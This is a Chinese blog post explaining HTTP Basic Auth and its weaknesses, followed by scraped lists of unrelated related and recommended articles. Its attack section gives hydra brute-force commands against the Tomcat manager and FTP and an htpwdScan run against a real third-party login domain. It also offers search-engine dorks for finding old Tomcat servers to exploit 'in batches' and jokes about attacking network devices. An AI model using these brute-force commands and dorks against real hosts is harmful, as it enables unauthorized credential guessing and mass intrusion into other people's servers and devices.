1、Basic Auth认证简介

Basic身份认证,是HTTP 1.0中引入的认证方案之一。虽然方案比较古老,同时存在安全缺陷,但由于实现简单,至今仍有不少网站在使用它。

例如Apche Tomcat、路由器等。

2、认证步骤

1、如下,用户访问受限资源 /protected_docs。请求报文如下:

  1. GET /protected_docs HTTP/1.1
  2. Host: 127.0.0.1:3000

2、服务端发现 /protected_docs 为受限资源,于是向用户发送401状态码,要求进行身份认证。

  1. HTTP/1.1 401 Unauthorized
  2. WWW-Authenticate: Basic realm=protected_docs

响应首部中,通过WWW-Authenticate告知客户端,认证的方案是basic。同时以realm告知认证的范围。

3、用户收到服务端响应后,填写用户名、密码,然后向服务端发送认证请求。



4、服务端收到用户的认证请求后,对请求进行验证。验证包含如下步骤:

  • 根据用户请求资源的地址,确定资源对应的realm。
  • 解析 Authorization 请求首部,获得用户名、密码。
  • 判断用户是否有访问该realm的权限。
  • 验证用户名、密码是否匹配。

    一旦上述验证通过,则返回请求资源。如果验证失败,则返回401要求重新认证,或者返回403(Forbidden)。

3、安全缺陷

Basic认证的安全缺陷比较明显,它通过明文传输用户的密码,这会导致严重的安全问题。

  • 在传输层未加密的情况下,用户明文密码可被中间人截获。
  • 明文密码一旦泄露,如果用户其他站点也用了同样的明文密码(大概率),那么用户其他站点的安全防线也告破。
  • 除了安全缺陷以外,Basic认证还存在无法吊销认证的情况。

4、Basic Auth暴力破解

1、使用hydra

  1. hydra -L /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt -P /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt -s 8
  2. 080 -f 0.0.0.0 http-get /manager/html/

hydra爆破工具还可以针对非常规的端口的FTP服务进行爆破

  1. hydra -l www -w 10 -P pwd.txt -t 10 -v -f ftp://192.168.1.20:2121

2、使用htpwdScan

  1. htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
  • 介绍一个批量利用Tomcat的小技巧

    在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

  1. intitle:”Apache Tomcat intext:”Thanks for using Tomcat!”



对于较新版本,则使用如下关键词:

  1. intitle:”Apache Tomcat/7.0.42

为了匹配更多的7.0版本,考虑使用:

  1. intitle:Apache Tomcat/7.0.
  2. Apache Software Foundation.” intitle:Apache Tomcat/7.0



还可以使用该工具进行校验代理

  1. htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

3、使用burpsuite

这种方法比较麻烦,必须使用的情况下可以自己看看。

同时基于Basic Auth认证的网络设备特备多,可以嘿嘿。。。

Basic Auth攻击的更多相关文章

  1. Apache增加Basic Auth

    在.htaccess文件中增加 AuthUserFile /var/www/htpasswd/test.htpasswd AuthName EnterPassword AuthType Basic r ...

  2. java 发送带Basic Auth认证的http post请求

    构造http header private static final String URL = "url"; private static final String APP_KEY ...

  3. Jmeter实现Basic Auth方式登录

    背景 在实际测试日常中,产品有两种登录方式,一种是普通登录方式,另一种则是Basic Auth方式登录.两种登录对应着产品中不同的操作,对权限进行了一个划分. Postman登录 使用Postman登 ...

  4. 使用crypt配置Basic Auth登录认证

    简介 Basic Auth用于服务端简单的登录认证,通常使用服务器Nginx.Apache本身即可完成.比如我们要限定某个域名或者页面必须输入用户名.密码才能登录,但又不想使用后端开发语言,此时Bas ...

  5. iOS AFNetWorking下得Basic Auth认证请求方式

    我新入职了一家公司,做了一个项目,服务器的大哥说他采用的是Basic Auth认证请求方式,一般我们用的都是OAuth的认证方式,下面我们就对比一下这两种认证方式 百度百科得到如下 Basic Aut ...

  6. Basic Auth

    开放平台 把网站服务封装成一系列接口供第三方开发者使用,这种行为就叫做Open API,提供开放API的平台本身就被称为开放平台.比如一些网站支持QQ登录,那QQ就相当于开放平台,QQ提供了一些OPE ...

  7. Etcd安全配置之Basic Auth认证

    <中小团队落地配置中心详解>文章中我们介绍了如何基于Etcd+Confd构建配置中心,最后提到Etcd的安全问题时说了可以使用账号密码认证以达到安全访问的目的,究竟该如何开启认证以及怎么设 ...

  8. Http basic Auth 认证方式帮助类

    BasicAuthenticationUtil import java.io.IOException; import java.security.MessageDigest; import javax ...

  9. java 发送带Basic Auth认证的http post请求实例代码

    构造http header private static final String URL = "url"; private static final String APP_KEY ...

随机推荐

  1. BFS - 求最短路径

    Farmer John has been informed of the location of a fugitive cow and wants to catch her immediately. ...

  2. angularjs路由菜单强制刷新

    在开发过程中遇到使用路由控制单页加载页面时,点击菜单页面不重新刷新的情况,angularjs认为路由没有变化,而不会去刷新页面,解决办法: angular.module('myApp').direct ...

  3. JsonResponse和HttpResponse

    1.联系 JsonResponse继承HttpResponse 2.区别 JsonResponse 数据类型装自动换成json字符串并相应到前端,传到前端的是数据类型而非json字符串 HttpRes ...

  4. node js 爬啊爬 记录 向 Scott 致敬 不要问为什么

    更优雅的异步编程: 定向爬取 :http://www.010xww.com/list/travel.htm 上代码: 打印一下http . 嗯 http 模块加载没问题 获取一个 文章列表: 终于把人 ...

  5. C# winform 弹框提示内存不足

    看了下面一片博文解决的 Winform 内存不足Winform,我给PictureBox 赋值 picBox_One.BackgroundImage = Image.FromFile("图片 ...

  6. Windows下安装Hadoop、Spark和HBase

    1.Hadoop 安装Hadoop:下载hadoop-2.7.1.tar.gz,并解压到你想要的目录下,我放在D:\Library\hadoop-2.7.1. 配置Hadoop环境变量:HADOOP_ ...

  7. CTF--HTTP服务--命令执行(使用集成工具测试)

    开门见山 1. 扫描靶机ip,发现PCS 192.168.1.158 2. 用sparta工具对靶机进行信息探测 3. 扫描结果 4. 在浏览器中查看80端口的页面 5. 查看网站信息 6. 暴力破解 ...

  8. SVM(2)-模式识别课堂笔记

    三.非线性支持向量机 问题起源:1.对于一些非线性可分的问题,我们希望能通过一个映射问题将特征映射到新的空间中去(可能是更高维的空间),寄希望于在新的空间中样本能够线性可分:2.我们注意到在线性支持向 ...

  9. 前端入门nginx

    一.nginx是什么 NGINX is a free, open-source, high-performance HTTP server and reverse proxy, as well as ...

  10. supervisor守护filebeat服务进程

    1.变更原因 部署安装supervisor进行filebeat守护及后面的各种服务进程守护可以用2.变更内容增加supervisor服务 3.变量时间:6月2号-6月3号4.变更风险评估:无风险4.1 ...